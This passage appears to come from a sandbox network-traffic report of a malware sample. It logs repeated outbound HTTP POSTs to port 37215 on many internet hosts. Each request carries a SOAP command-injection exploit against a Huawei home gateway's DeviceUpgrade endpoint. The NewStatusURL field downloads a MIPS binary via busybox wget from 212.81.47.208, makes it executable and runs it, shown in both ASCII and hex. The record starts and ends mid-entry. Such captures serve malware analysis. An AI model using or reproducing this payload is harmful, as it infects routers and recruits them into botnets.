s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	51074	156.252.138.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.906991005 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	33830	156.91.219.93	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.907577038 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	55010	156.52.39.116	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.908123970 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	38940	197.5.204.6	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.908679962 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	55360	41.17.85.83	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.909307003 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	42072	197.115.11.71	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.909882069 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	48000	41.3.121.77	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.910454988 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	58026	156.252.133.48	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.911086082 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	46116	156.90.212.185	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.911653042 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	34260	156.182.166.141	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.912194014 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	56600	156.158.192.228	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:29.934866905 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 